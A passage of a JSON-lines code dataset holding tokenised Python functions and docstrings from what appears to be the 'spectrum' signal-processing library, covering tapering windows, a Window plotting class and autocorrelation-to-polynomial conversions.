.. plot::\n        :width: 80%\n        :include-source:\n\n        from pylab import plot, legend, xlim\n        from spectrum import window_kaiser\n        N = 64\n        for beta in [1,2,4,8,16]:\n            plot(window_kaiser(N, beta), label='beta='+str(beta))\n        xlim(0,N)\n        legend()\n\n    .. plot::\n        :width: 80%\n        :include-source:\n\n        from spectrum import window_visu\n        window_visu(64, 'kaiser', beta=8.)\n\n    .. seealso:: numpy.kaiser, :func:`spectrum.window.create_window`", "id": "f10924:m5"}
{"signature": "def window_blackman(N, alpha=<NUM_LIT>):", "body": "a0 = (<NUM_LIT:1.> - alpha)/<NUM_LIT><EOL>a1 = <NUM_LIT:0.5><EOL>a2 = alpha/<NUM_LIT><EOL>if (N == <NUM_LIT:1>):<EOL><INDENT>win = array([<NUM_LIT:1.>])<EOL><DEDENT>else:<EOL><INDENT>k = arange(<NUM_LIT:0>, N)/float(N-<NUM_LIT:1.>)<EOL>win =  a0 - a1 * cos (<NUM_LIT:2> * pi * k) + a2 * cos (<NUM_LIT:4> * pi * k)<EOL><DEDENT>return win<EOL>", "docstring": "r\"\"\"Blackman window\n\n    :param N: window length\n\n    .. math:: a_0 - a_1 \\cos(\\frac{2\\pi n}{N-1}) +a_2 \\cos(\\frac{4\\pi n }{N-1})\n\n    with\n\n    .. math::\n\n        a_0 = (1-\\alpha)/2, a_1=0.5, a_2=\\alpha/2 \\rm{\\;and\\; \\alpha}=0.16\n\n    When :math:`\\alpha=0.16`, this is the unqualified Blackman window with\n    :math:`a_0=0.48`  and :math:`a_2=0.08`.\n\n    .. plot::\n        :width: 80%\n        :include-source:\n\n        from spectrum import window_visu\n        window_visu(64, 'blackman')\n\n    .. note:: Although Numpy implements a blackman window for :math:`\\alpha=0.16`,\n        this implementation is valid for any :math:`\\alpha`.\n\n    .. seealso:: numpy.blackman, :func:`create_window`, :class:`Window`", "id": "f10924:m6"}
{"signature": "def window_bartlett(N):", "body": "from numpy import bartlett<EOL>return bartlett(N)<EOL>", "docstring": "r\"\"\"Bartlett window (wrapping of numpy.bartlett) also known as Fejer\n\n    :param int N: window length\n\n    The Bartlett window is defined as\n\n    .. math:: w(n) = \\frac{2}{N-1} \\left(\n              \\frac{N-1}{2} - \\left|n - \\frac{N-1}{2}\\right|\n              \\right)\n\n    .. plot::\n        :width: 80%\n        :include-source:\n\n        from spectrum import window_visu\n        window_visu(64, 'bartlett')\n\n    .. seealso:: numpy.bartlett, :func:`create_window`, :class:`Window`.", "id": "f10924:m7"}
{"signature": "def window_hamming(N):", "body": "from numpy import hamming<EOL>return hamming(N)<EOL>", "docstring": "r\"\"\"Hamming window\n\n    :param N: window length\n\n\n    The Hamming window is defined as\n\n    .. math:: 0.54 -0.46 \\cos\\left(\\frac{2\\pi n}{N-1}\\right)\n               \\qquad 0 \\leq n \\leq M-1\n\n    .. plot::\n        :width: 80%\n        :include-source:\n\n        from spectrum import window_visu\n        window_visu(64, 'hamming')\n\n    .. seealso:: numpy.hamming, :func:`create_window`, :class:`Window`.", "id": "f10924:m8"}
{"signature": "def window_hann(N):", "body": "from numpy import hanning<EOL>return hanning(N)<EOL>", "docstring": "r\"\"\"Hann window (or Hanning). (wrapping of numpy.bartlett)\n\n    :param int N: window length\n\n    The Hanning window is also known as the Cosine Bell. Usually, it is called\n    Hann window, to avoid confusion with the Hamming window.\n\n    .. math:: w(n) =  0.5\\left(1- \\cos\\left(\\frac{2\\pi n}{N-1}\\right)\\right)\n               \\qquad 0 \\leq n \\leq M-1\n\n    .. plot::\n        :width: 80%\n        :include-source:\n\n        from spectrum import window_visu\n        window_visu(64, 'hanning')\n\n    .. seealso:: numpy.hanning, :func:`create_window`, :class:`Window`.", "id": "f10924:m9"}
{"signature": "def window_gaussian(N, alpha=<NUM_LIT>):", "body": "t = linspace(-(N-<NUM_LIT:1>)/<NUM_LIT>, (N-<NUM_LIT:1>)/<NUM_LIT>, N)<EOL>w = exp(-<NUM_LIT:0.5>*(alpha * t/(N/<NUM_LIT>))**<NUM_LIT>)<EOL>return w<EOL>", "docstring": "r\"\"\"Gaussian window\n\n    :param N: window length\n\n    .. math:: \\exp^{-0.5 \\left( \\sigma\\frac{n}{N/2} \\right)^2}\n\n    with :math:`\\frac{N-1}{2}\\leq n \\leq \\frac{N-1}{2}`.\n\n    .. note:: N-1 is used to be in agreement with octave convention. The ENBW of\n         1.4 is also in agreement with [Harris]_\n\n    .. plot::\n        :width: 80%\n        :include-source:\n\n        from spectrum import window_visu\n        window_visu(64, 'gaussian', alpha=2.5)\n\n\n\n    .. seealso:: scipy.signal.gaussian, :func:`create_window`", "id": "f10924:m10"}
{"signature": "def window_chebwin(N, attenuation=<NUM_LIT:50>):", "body": "import scipy.signal<EOL>return scipy.signal.chebwin(N, attenuation)<EOL>", "docstring": "Cheb window\n\n    :param N: window length\n\n    .. plot::\n        :width: 80%\n        :include-source:\n\n        from spectrum import window_visu\n        window_visu(64, 'chebwin', attenuation=50)\n\n    .. seealso:: scipy.signal.chebwin, :func:`create_window`, :class:`Window`", "id": "f10924:m11"}
{"signature": "def window_cosine(N):", "body": "if N ==<NUM_LIT:1>:<EOL><INDENT>return ones(<NUM_LIT:1>)<EOL><DEDENT>n = arange(<NUM_LIT:0>, N)<EOL>win = sin(pi*n/(N-<NUM_LIT:1.>))<EOL>return win<EOL>", "docstring": "r\"\"\"Cosine tapering window also known as sine window.\n\n    :param N: window length\n\n    .. math:: w(n) = \\cos\\left(\\frac{\\pi n}{N-1} - \\frac{\\pi}{2}\\right) = \\sin \\left(\\frac{\\pi n}{N-1}\\right)\n\n    .. plot::\n        :width: 80%\n        :include-source:\n\n        from spectrum import window_visu\n        window_visu(64, 'cosine')\n\n    .. seealso:: :func:`create_window`, :class:`Window`", "id": "f10924:m12"}
{"signature": "def window_lanczos(N):", "body": "if N ==<NUM_LIT:1>:<EOL><INDENT>return ones(<NUM_LIT:1>)<EOL><DEDENT>n = linspace(-N/<NUM_LIT>, N/<NUM_LIT>, N)<EOL>win = sinc(<NUM_LIT:2>*n/(N-<NUM_LIT:1.>))<EOL>return win<EOL>", "docstring": "r\"\"\"Lanczos window also known as sinc window.\n\n    :param N: window length\n\n    .. math:: w(n) = sinc \\left(  \\frac{2n}{N-1} - 1 \\right)\n\n    .. plot::\n        :width: 80%\n        :include-source:\n\n        from spectrum import window_visu\n        window_visu(64, 'lanczos')\n\n    .. seealso:: :func:`create_window`, :class:`Window`", "id": "f10924:m13"}
{"signature": "def window_bartlett_hann(N):", "body": "if N == <NUM_LIT:1>:<EOL><INDENT>return ones(<NUM_LIT:1>)<EOL><DEDENT>n = arange(<NUM_LIT:0>, N)<EOL>a0 = <NUM_LIT><EOL>a1 = <NUM_LIT><EOL>a2 = <NUM_LIT><EOL>win = a0 -  a1 *abs(n/(N-<NUM_LIT:1.>)-<NUM_LIT:0.5>) -a2 * cos(<NUM_LIT:2>*pi*n/(N-<NUM_LIT:1.>))<EOL>return win<EOL>", "docstring": "r\"\"\"Bartlett-Hann window\n\n    :param N: window length\n\n    .. math:: w(n) = a_0 + a_1 \\left| \\frac{n}{N-1} -\\frac{1}{2}\\right| - a_2 \\cos \\left( \\frac{2\\pi n}{N-1} \\right)\n\n    with :math:`a_0 = 0.62`, :math:`a_1 = 0.48` and :math:`a_2=0.38`\n\n    .. plot::\n        :width: 80%\n        :include-source:\n\n        from spectrum import window_visu\n        window_visu(64, 'bartlett_hann')\n\n    .. seealso:: :func:`create_window`, :class:`Window`", "id": "f10924:m14"}
{"signature": "def _coeff4(N, a0, a1, a2, a3):", "body": "if N == <NUM_LIT:1>:<EOL><INDENT>return ones(<NUM_LIT:1>)<EOL><DEDENT>n = arange(<NUM_LIT:0>, N)<EOL>N1 = N - <NUM_LIT:1.><EOL>w = a0 -a1*cos(<NUM_LIT>*pi*n / N1) + a2*cos(<NUM_LIT>*pi*n / N1) - a3*cos(<NUM_LIT>*pi*n / N1)<EOL>return w<EOL>", "docstring": "a common internal function to some window functions with 4 coeffs\n\n\n    For the blackmna harris for instance, the results are identical to octave if N is odd\n    but not for even values...if n =0 whatever N is, the w(0) must be equal to a0-a1+a2-a3, which\n    is the case here, but not in octave...", "id": "f10924:m15"}
{"signature": "def window_nuttall(N):", "body": "a0 = <NUM_LIT><EOL>a1 = <NUM_LIT><EOL>a2 = <NUM_LIT><EOL>a3 = <NUM_LIT><EOL>return _coeff4(N, a0, a1, a2, a3)<EOL>", "docstring": "r\"\"\"Nuttall tapering window\n\n    :param N: window length\n\n    .. math:: w(n) = a_0 - a_1 \\cos\\left(\\frac{2\\pi n}{N-1}\\right)+ a_2 \\cos\\left(\\frac{4\\pi n}{N-1}\\right)- a_3 \\cos\\left(\\frac{6\\pi n}{N-1}\\right)\n\n    with :math:`a_0 = 0.355768`, :math:`a_1 = 0.487396`, :math:`a_2=0.144232` and :math:`a_3=0.012604`\n\n    .. plot::\n        :width: 80%\n        :include-source:\n\n        from spectrum import window_visu\n        window_visu(64, 'nuttall', mindB=-80)\n\n\n    .. seealso:: :func:`create_window`, :class:`Window`", "id": "f10924:m16"}
{"signature": "def window_blackman_nuttall(N):", "body": "a0 = <NUM_LIT><EOL>a1 = <NUM_LIT><EOL>a2 = <NUM_LIT><EOL>a3 = <NUM_LIT><EOL>return _coeff4(N, a0, a1, a2, a3)<EOL>", "docstring": "r\"\"\"Blackman Nuttall window\n\n    returns a minimum, 4-term Blackman-Harris window. The window is minimum in the sense that its maximum sidelobes are minimized.\n    The coefficients for this window differ from the Blackman-Harris window coefficients and produce slightly lower sidelobes.\n\n    :param N: window length\n\n    .. math:: w(n) = a_0 - a_1 \\cos\\left(\\frac{2\\pi n}{N-1}\\right)+ a_2 \\cos\\left(\\frac{4\\pi n}{N-1}\\right)- a_3 \\cos\\left(\\frac{6\\pi n}{N-1}\\right)\n\n    with :math:`a_0 = 0.3635819`, :math:`a_1 = 0.4891775`, :math:`a_2=0.1365995` and :math:`0_3=.0106411`\n\n    .. plot::\n        :width: 80%\n        :include-source:\n\n        from spectrum import window_visu\n        window_visu(64, 'blackman_nuttall', mindB=-80)\n\n    .. seealso:: :func:`spectrum.window.create_window`\n    .. seealso:: :func:`create_window`, :class:`Window`", "id": "f10924:m17"}
{"signature": "def window_blackman_harris(N):", "body": "a0 = <NUM_LIT><EOL>a1 = <NUM_LIT><EOL>a2 = <NUM_LIT><EOL>a3 = <NUM_LIT><EOL>return _coeff4(N, a0, a1, a2, a3)<EOL>", "docstring": "r\"\"\"Blackman Harris window\n\n    :param N: window length\n\n    .. math:: w(n) = a_0 - a_1 \\cos\\left(\\frac{2\\pi n}{N-1}\\right)+ a_2 \\cos\\left(\\frac{4\\pi n}{N-1}\\right)- a_3 \\cos\\left(\\frac{6\\pi n}{N-1}\\right)\n\n    =============== =========\n    coeff            value\n    =============== =========\n    :math:`a_0`     0.35875\n    :math:`a_1`     0.48829\n    :math:`a_2`     0.14128\n    :math:`a_3`     0.01168\n    =============== =========\n\n    .. plot::\n        :width: 80%\n        :include-source:\n\n        from spectrum import window_visu\n        window_visu(64, 'blackman_harris', mindB=-80)\n\n    .. seealso:: :func:`spectrum.window.create_window`\n    .. seealso:: :func:`create_window`, :class:`Window`", "id": "f10924:m18"}
{"signature": "def window_bohman(N):", "body": "x = linspace(-<NUM_LIT:1>, <NUM_LIT:1>, N)<EOL>w = (<NUM_LIT:1.>-abs(x)) * cos(pi*abs(x)) + <NUM_LIT:1.>/pi * sin(pi*abs(x))<EOL>return w<EOL>", "docstring": "r\"\"\"Bohman tapering window\n\n    :param N: window length\n\n    .. math:: w(n) = (1-|x|) \\cos (\\pi |x|) + \\frac{1}{\\pi} \\sin(\\pi |x|)\n\n    where x is a length N vector of linearly spaced values between\n    -1 and 1.\n\n    .. plot::\n        :width: 80%\n        :include-source:\n\n        from spectrum import window_visu\n        window_visu(64, 'bohman')\n\n    .. seealso:: :func:`create_window`, :class:`Window`", "id": "f10924:m19"}
{"signature": "def window_tukey(N, r=<NUM_LIT:0.5>):", "body": "assert r>=<NUM_LIT:0> and r<=<NUM_LIT:1> , \"<STR_LIT>\"<EOL>if N==<NUM_LIT:1>:<EOL><INDENT>return ones(<NUM_LIT:1>)<EOL><DEDENT>if r == <NUM_LIT:0>:<EOL><INDENT>return ones(N)<EOL><DEDENT>elif r == <NUM_LIT:1>:<EOL><INDENT>return window_hann(N)<EOL><DEDENT>else:<EOL><INDENT>from numpy import flipud, concatenate, where<EOL>x = linspace(<NUM_LIT:0>, <NUM_LIT:1>, N)<EOL>x1 = where(x<r/<NUM_LIT>)<EOL>w = <NUM_LIT:0.5>*(<NUM_LIT:1>+cos(<NUM_LIT:2>*pi/r*(x[x1[<NUM_LIT:0>]]-r/<NUM_LIT:2>)))<EOL>w = concatenate((w, ones(N-len(w)*<NUM_LIT:2>), flipud(w)))<EOL>return w<EOL><DEDENT>", "docstring": "Tukey tapering window (or cosine-tapered window)\n\n    :param N: window length\n    :param r: defines the ratio between the constant section and the cosine\n      section. It has to be between 0 and 1.\n\n    The function returns a Hanning window for `r=0` and a full box for `r=1`.\n\n    .. plot::\n        :width: 80%\n        :include-source:\n\n        from spectrum import window_visu\n        window_visu(64, 'tukey')\n        window_visu(64, 'tukey', r=1)\n\n    .. math:: 0.5 (1+cos(2pi/r (x-r/2))) for 0<=x<r/2\n\n    .. math:: 0.5 (1+cos(2pi/r (x-1+r/2))) for x>=1-r/2\n\n\n    .. seealso:: :func:`create_window`, :class:`Window`", "id": "f10924:m20"}
{"signature": "def window_parzen(N):", "body": "from numpy import  where, concatenate<EOL>n = linspace(-(N-<NUM_LIT:1>)/<NUM_LIT>, (N-<NUM_LIT:1>)/<NUM_LIT>, N)<EOL>n1 = n[where(abs(n)<=(N-<NUM_LIT:1>)/<NUM_LIT>)[<NUM_LIT:0>]]<EOL>n2 = n[where(n>(N-<NUM_LIT:1>)/<NUM_LIT>)[<NUM_LIT:0>]]<EOL>n3 = n[where(n<-(N-<NUM_LIT:1>)/<NUM_LIT>)[<NUM_LIT:0>]]<EOL>w1 = <NUM_LIT:1.> -<NUM_LIT>*(abs(n1)/(N/<NUM_LIT>))**<NUM_LIT:2> + <NUM_LIT:6>*(abs(n1)/(N/<NUM_LIT>))**<NUM_LIT:3><EOL>w2 = <NUM_LIT>*(<NUM_LIT:1>-abs(n2)/(N/<NUM_LIT>))**<NUM_LIT:3><EOL>w3 = <NUM_LIT>*(<NUM_LIT:1>-abs(n3)/(N/<NUM_LIT>))**<NUM_LIT:3><EOL>w = concatenate((w3, w1, w2))<EOL>return w<EOL>", "docstring": "r\"\"\"Parsen tapering window (also known as de la Valle-Poussin)\n\n    :param N: window length\n\n    Parzen windows are piecewise cubic approximations\n    of Gaussian windows. Parzen window sidelobes fall off as :math:`1/\\omega^4`.\n\n    if :math:`0\\leq|x|\\leq (N-1)/4`:\n\n    .. math:: w(n) = 1-6 \\left( \\frac{|n|}{N/2} \\right)^2 +6 \\left( \\frac{|n|}{N/2}\\right)^3\n\n    if :math:`(N-1)/4\\leq|x|\\leq (N-1)/2`\n\n    .. math:: w(n) = 2 \\left(1- \\frac{|n|}{N/2}\\right)^3\n\n\n    .. plot::\n        :width: 80%\n        :include-source:\n\n        from spectrum import window_visu\n        window_visu(64, 'parzen')\n\n\n    .. seealso:: :func:`create_window`, :class:`Window`", "id": "f10924:m21"}
{"signature": "def window_flattop(N, mode='<STR_LIT>',precision=None):", "body": "assert mode in ['<STR_LIT>', '<STR_LIT>']<EOL>t = arange(<NUM_LIT:0>, N)<EOL>if mode == '<STR_LIT>':<EOL><INDENT>x = <NUM_LIT:2>*pi*t/float(N)<EOL><DEDENT>else:<EOL><INDENT>if N ==<NUM_LIT:1>:<EOL><INDENT>return ones(<NUM_LIT:1>)<EOL><DEDENT>x = <NUM_LIT:2>*pi*t/float(N-<NUM_LIT:1>)<EOL><DEDENT>a0 = <NUM_LIT><EOL>a1 = <NUM_LIT><EOL>a2 = <NUM_LIT><EOL>a3 = <NUM_LIT><EOL>a4 = <NUM_LIT><EOL>if precision == '<STR_LIT>':<EOL><INDENT>d  = <NUM_LIT><EOL>a0 = <NUM_LIT:1.>/d<EOL>a1 = <NUM_LIT>/d<EOL>a2 = <NUM_LIT>/d<EOL>a3 = <NUM_LIT>/d<EOL>a4 = <NUM_LIT>/d<EOL><DEDENT>w = a0-a1*cos(x)+a2*cos(<NUM_LIT:2>*x)-a3*cos(<NUM_LIT:3>*x)+a4*cos(<NUM_LIT:4>*x)<EOL>return w<EOL>", "docstring": "r\"\"\"Flat-top tapering window\n\n    Returns symmetric or periodic flat top window.\n\n    :param N: window length\n    :param mode: way the data are normalised. If mode is *symmetric*, then\n        divide n by N-1. IF mode is *periodic*, divide by N,\n        to be consistent with octave code.\n\n    When using windows for filter design, the *symmetric* mode\n    should be used (default). When using windows for spectral analysis, the *periodic*\n    mode should be used. The mathematical form of the flat-top window in the symmetric\n    case is:\n\n    .. math:: w(n) = a_0\n        - a_1 \\cos\\left(\\frac{2\\pi n}{N-1}\\right)\n        + a_2 \\cos\\left(\\frac{4\\pi n}{N-1}\\right)\n        - a_3 \\cos\\left(\\frac{6\\pi n}{N-1}\\right)\n        + a_4 \\cos\\left(\\frac{8\\pi n}{N-1}\\right)\n\n    =====  =============\n    coeff  value\n    =====  =============\n    a0     0.21557895\n    a1     0.41663158\n    a2     0.277263158\n    a3     0.083578947\n    a4     0.006947368\n    =====  =============\n\n    .. plot::\n        :width: 80%\n        :include-source:\n\n        from spectrum import window_visu\n        window_visu(64, 'bohman')\n\n\n    .. seealso:: :func:`create_window`, :class:`Window`", "id": "f10924:m22"}
{"signature": "def window_taylor(N, nbar=<NUM_LIT:4>, sll=-<NUM_LIT:30>):", "body": "B = <NUM_LIT:10>**(-sll/<NUM_LIT:20>)<EOL>A = log(B + sqrt(B**<NUM_LIT:2> - <NUM_LIT:1>))/pi<EOL>s2 = nbar**<NUM_LIT:2> / (A**<NUM_LIT:2> + (nbar - <NUM_LIT:0.5>)**<NUM_LIT:2>)<EOL>ma = arange(<NUM_LIT:1>,nbar)<EOL>def calc_Fm(m):<EOL><INDENT>numer = (-<NUM_LIT:1>)**(m+<NUM_LIT:1>) * prod(<NUM_LIT:1>-m**<NUM_LIT:2>/s2/(A**<NUM_LIT:2> + (ma - <NUM_LIT:0.5>)**<NUM_LIT:2>))<EOL>denom = <NUM_LIT:2>* prod([ <NUM_LIT:1>-m**<NUM_LIT:2>/j**<NUM_LIT:2> for j in ma if j != m])<EOL>return numer/denom<EOL><DEDENT>Fm = array([calc_Fm(m) for m in ma])<EOL>def W(n):<EOL><INDENT>return <NUM_LIT:2> * np.sum(Fm * cos(<NUM_LIT:2>*pi*ma*(n-N/<NUM_LIT:2> + <NUM_LIT:1>/<NUM_LIT:2>)/N)) + <NUM_LIT:1><EOL><DEDENT>w = array([W(n) for n in range(N)])<EOL>scale = W((N-<NUM_LIT:1>)/<NUM_LIT:2>)<EOL>w /= scale<EOL>return w<EOL>", "docstring": "Taylor tapering window\n\n    Taylor windows allows you to make tradeoffs between the\n    mainlobe width and sidelobe level (sll).\n\n    Implemented as described by Carrara, Goodman, and Majewski \n    in 'Spotlight Synthetic Aperture Radar: Signal Processing Algorithms'\n    Pages 512-513\n\n    :param N: window length\n    :param float nbar:\n    :param float sll:\n\n    The default values gives equal height\n    sidelobes (nbar) and maximum sidelobe level (sll).\n\n    .. warning:: not implemented\n\n    .. seealso:: :func:`create_window`, :class:`Window`", "id": "f10924:m23"}
{"signature": "def window_riesz(N):", "body": "n = linspace(-N/<NUM_LIT>, (N)/<NUM_LIT>, N)<EOL>w = <NUM_LIT:1> - abs(n/(N/<NUM_LIT>))**<NUM_LIT><EOL>return w<EOL>", "docstring": "r\"\"\"Riesz tapering window\n\n    :param N: window length\n\n    .. math:: w(n) = 1 - \\left| \\frac{n}{N/2}  \\right|^2\n\n    with :math:`-N/2 \\leq n \\leq N/2`.\n\n    .. plot::\n        :width: 80%\n        :include-source:\n\n        from spectrum import window_visu\n        window_visu(64, 'riesz')\n\n    .. seealso:: :func:`create_window`, :class:`Window`", "id": "f10924:m24"}
{"signature": "def window_riemann(N):", "body": "n = linspace(-N/<NUM_LIT>, (N)/<NUM_LIT>, N)<EOL>w = sin(n/float(N)*<NUM_LIT>*pi) / (n / float(N)*<NUM_LIT>*pi)<EOL>return w<EOL>", "docstring": "r\"\"\"Riemann tapering window\n\n    :param int N: window length\n\n    .. math:: w(n) = 1 - \\left| \\frac{n}{N/2}  \\right|^2\n\n    with :math:`-N/2 \\leq n \\leq N/2`.\n\n    .. plot::\n        :width: 80%\n        :include-source:\n\n        from spectrum import window_visu\n        window_visu(64, 'riesz')\n\n    .. seealso:: :func:`create_window`, :class:`Window`", "id": "f10924:m25"}
{"signature": "def window_poisson(N, alpha=<NUM_LIT:2>):", "body": "n = linspace(-N/<NUM_LIT>, (N)/<NUM_LIT>, N)<EOL>w = exp(-alpha * abs(n)/(N/<NUM_LIT>))<EOL>return w<EOL>", "docstring": "r\"\"\"Poisson tapering window\n\n    :param int N: window length\n\n    .. math:: w(n) = \\exp^{-\\alpha \\frac{|n|}{N/2} }\n\n    with :math:`-N/2 \\leq n \\leq N/2`.\n\n    .. plot::\n        :width: 80%\n        :include-source:\n\n        from spectrum import window_visu\n        window_visu(64, 'poisson')\n        window_visu(64, 'poisson', alpha=3)\n        window_visu(64, 'poisson', alpha=4)\n\n    .. seealso:: :func:`create_window`, :class:`Window`", "id": "f10924:m26"}
{"signature": "def window_poisson_hanning(N, alpha=<NUM_LIT:2>):", "body": "w1 = window_hann(N)<EOL>w2 = window_poisson(N, alpha=alpha)<EOL>return w1*w2<EOL>", "docstring": "r\"\"\"Hann-Poisson tapering window\n\n    This window is constructed as the product of the Hanning and Poisson\n    windows. The parameter **alpha** is the Poisson parameter.\n\n    :param int N: window length\n    :param float alpha: parameter of the poisson window\n\n    .. plot::\n        :width: 80%\n        :include-source:\n\n        from spectrum import window_visu\n        window_visu(64, 'poisson_hanning', alpha=0.5)\n        window_visu(64, 'poisson_hanning', alpha=1)\n        window_visu(64, 'poisson_hanning')\n\n    .. seealso:: :func:`window_poisson`, :func:`window_hann`", "id": "f10924:m27"}
{"signature": "def window_cauchy(N, alpha=<NUM_LIT:3>):", "body": "n = linspace(-N/<NUM_LIT>, (N)/<NUM_LIT>, N)<EOL>w = <NUM_LIT:1.>/(<NUM_LIT:1.>+ (alpha*n/(N/<NUM_LIT>))**<NUM_LIT:2>)<EOL>return w<EOL>", "docstring": "r\"\"\"Cauchy tapering window\n\n    :param int N: window length\n    :param float alpha: parameter of the poisson window\n\n    .. math:: w(n) = \\frac{1}{1+\\left(\\frac{\\alpha*n}{N/2}\\right)**2}\n\n    .. plot::\n        :width: 80%\n        :include-source:\n\n        from spectrum import window_visu\n        window_visu(64, 'cauchy', alpha=3)\n        window_visu(64, 'cauchy', alpha=4)\n        window_visu(64, 'cauchy', alpha=5)\n\n\n    .. seealso:: :func:`window_poisson`, :func:`window_hann`", "id": "f10924:m28"}
{"signature": "def __init__(self, N, name=None, norm=True, **kargs):", "body": "<EOL>assert N><NUM_LIT:0> , \"<STR_LIT>\"<EOL>if name is None or name not in list(window_names.keys()):<EOL><INDENT>raise ValueError(\"<STR_LIT>\" %<EOL>list(window_names.keys()))<EOL><DEDENT>self.__N = N<EOL>self.__name = name<EOL>self.__norm = norm<EOL>self.__data = create_window(N, name, **kargs)<EOL>self.__frequencies = None<EOL>self.__response = None<EOL>self.__enbw = enbw(self.data)<EOL>", "docstring": "Create a tapering window object\n\n        :param N: the window length\n        :param name: the type of window, e.g., 'Hann'\n        :param norm: normalise the window in frequency domain (for plotting)\n        :param kargs: any of :func:`create_window` valid optional arguments.\n\n\n        .. rubric:: Attributes:\n\n        * data: time series data\n        * frequencies: getter to the frequency series\n        * response: getter to the PSD\n        * enbw:  getter to the Equivalent noise band width.", "id": "f10924:c0:m0"}
{"signature": "def compute_response(self, **kargs):", "body": "from numpy.fft import fft, fftshift<EOL>norm = kargs.get('<STR_LIT>', self.norm)<EOL>NFFT = kargs.get('<STR_LIT>', <NUM_LIT>)<EOL>if NFFT < len(self.data):<EOL><INDENT>NFFT = self.data.size * <NUM_LIT:2><EOL><DEDENT>A = fft(self.data, NFFT)<EOL>mag = abs(fftshift(A))<EOL>if norm is True:<EOL><INDENT>mag = mag / max(mag)<EOL><DEDENT>response = <NUM_LIT> * stools.log10(mag) <EOL>self.__response = response<EOL>", "docstring": "Compute the window data frequency response\n\n        :param norm: True by default. normalised the frequency data.\n        :param int NFFT: total length of the final data sets( 2048 by default. \n            if less than data length, then NFFT is set to the data length*2).\n\n        The response is stored in :attr:`response`.\n\n        .. note:: Units are dB (20 log10) since we plot the frequency response)", "id": "f10924:c0:m9"}
{"signature": "def plot_frequencies(self, mindB=None, maxdB=None, norm=True):", "body": "from pylab import plot, title, xlim, grid, ylim, xlabel, ylabel<EOL>self.compute_response(norm=norm)<EOL>plot(self.frequencies, self.response)<EOL>title(\"<STR_LIT>\" % (self.enbw))<EOL>ylabel('<STR_LIT>')<EOL>xlabel('<STR_LIT>')<EOL>xlim(-<NUM_LIT:0.5>, <NUM_LIT:0.5>)<EOL>y0, y1 = ylim()<EOL>if mindB:<EOL><INDENT>y0 = mindB<EOL><DEDENT>if maxdB is not None:<EOL><INDENT>y1 = maxdB<EOL><DEDENT>else:<EOL><INDENT>y1 = max(self.response)<EOL><DEDENT>ylim(y0, y1)<EOL>grid(True)<EOL>", "docstring": "Plot the window in the frequency domain\n\n        :param mindB: change the default lower y bound\n        :param maxdB: change the default upper lower bound\n        :param bool norm: if True, normalise the frequency response.\n\n        .. plot::\n            :width: 80%\n            :include-source:\n\n            from spectrum.window import Window\n            w = Window(64, name='hamming')\n            w.plot_frequencies()", "id": "f10924:c0:m10"}
{"signature": "def plot_window(self):", "body": "from pylab import plot, xlim, grid, title, ylabel, axis<EOL>x = linspace(<NUM_LIT:0>, <NUM_LIT:1>, self.N)<EOL>xlim(<NUM_LIT:0>, <NUM_LIT:1>)<EOL>plot(x, self.data)<EOL>grid(True)<EOL>title('<STR_LIT>' % (self.name.capitalize(), self.N))<EOL>ylabel('<STR_LIT>')<EOL>axis([<NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT>])<EOL>", "docstring": "Plot the window in the time domain\n\n        .. plot::\n            :width: 80%\n            :include-source:\n\n            from spectrum.window import Window\n            w = Window(64, name='hamming')\n            w.plot_window()", "id": "f10924:c0:m11"}
{"signature": "def plot_time_freq(self, mindB=-<NUM_LIT:100>, maxdB=None, norm=True,<EOL>yaxis_label_position=\"<STR_LIT:right>\"):", "body": "from pylab import subplot, gca<EOL>subplot(<NUM_LIT:1>, <NUM_LIT:2>, <NUM_LIT:1>)<EOL>self.plot_window()<EOL>subplot(<NUM_LIT:1>, <NUM_LIT:2>, <NUM_LIT:2>)<EOL>self.plot_frequencies(mindB=mindB, maxdB=maxdB, norm=norm)<EOL>if yaxis_label_position==\"<STR_LIT:left>\":<EOL><INDENT>try: tight_layout()<EOL>except: pass<EOL><DEDENT>else:<EOL><INDENT>ax = gca()<EOL>ax.yaxis.set_label_position(\"<STR_LIT:right>\")<EOL><DEDENT>", "docstring": "Plotting method to plot both time and frequency domain results.\n\n        See :meth:`plot_frequencies` for the optional arguments.\n\n        .. plot::\n            :width: 80%\n            :include-source:\n\n            from spectrum.window import Window\n            w = Window(64, name='hamming')\n            w.plot_time_freq()", "id": "f10924:c0:m12"}
{"signature": "def info(self):", "body": "print(self)<EOL>", "docstring": "Print object information such as length and name", "id": "f10924:c0:m13"}
{"signature": "def ac2poly(data):", "body": "a, e, _c = LEVINSON(data)<EOL>a = numpy.insert(a, <NUM_LIT:0>, <NUM_LIT:1>)<EOL>return a, e<EOL>", "docstring": "Convert autocorrelation sequence to prediction polynomial\n\n    :param array data:    input data (list or numpy.array)\n    :return:\n        * AR parameters\n        * noise variance\n\n    This is an alias to::\n\n        a, e, c = LEVINSON(data)\n\n    :Example:\n\n    .. doctest::\n\n        >>> from spectrum import ac2poly\n        >>> from numpy import array\n        >>> r = [5, -2, 1.01]\n        >>> ar, e = ac2poly(r)\n        >>> ar\n        array([ 1.  ,  0.38, -0.05])\n        >>> e\n        4.1895000000000007", "id": "f10925:m0"}
{"signature": "def ac2rc(data):", "body": "a, e, _c = LEVINSON(data)<EOL>return a, data[<NUM_LIT:0>]<EOL>", "docstring": "Convert autocorrelation sequence to reflection coefficients\n\n    :param data: an autorrelation vector\n    :return: the reflection coefficient and data[0]\n\n    This is an alias to::\n\n        a, e, c = LEVINSON(data)\n        c, data[0]", "id": "f10925:m1"}
{"signature": "def poly2ac(poly, efinal):", "body": "results = rlevinson(poly, efinal)<EOL>return results[<NUM_LIT:0>]<EOL>", "docstring": "Convert prediction filter polynomial to autocorrelation sequence\n\n    :param array poly: the AR parameters\n    :param efinal: an estimate of the final error\n    :return: the autocorrelation  sequence in complex format.\n\n    .. doctest::\n\n        >>> from numpy import array\n        >>> from spectrum import poly2ac\n        >>> poly = [ 1. ,  0.38 , -0.05]\n        >>> efinal = 4.1895\n        >>> poly2ac(poly, efinal)\n        array([ 5.00+0.j, -2.00+0.j,  1.01-0.j])", "id": "f10925:m2"}
{"signature": "def ar2rc(ar):", "body": "raise NotImplementedError<EOL>", "docstring": "Convert autoregressive parameters into reflection coefficients", "id": "f10925:m3"}
{"signature": "def poly2rc(a, efinal):", "body": "results = rlevinson(a, efinal)<EOL>return results[<NUM_LIT:2>]<EOL>", "docstring": "Convert prediction filter polynomial to reflection coefficients\n\n    :param a: AR parameters\n    :param efinal:", "id": "f10925:m4"}
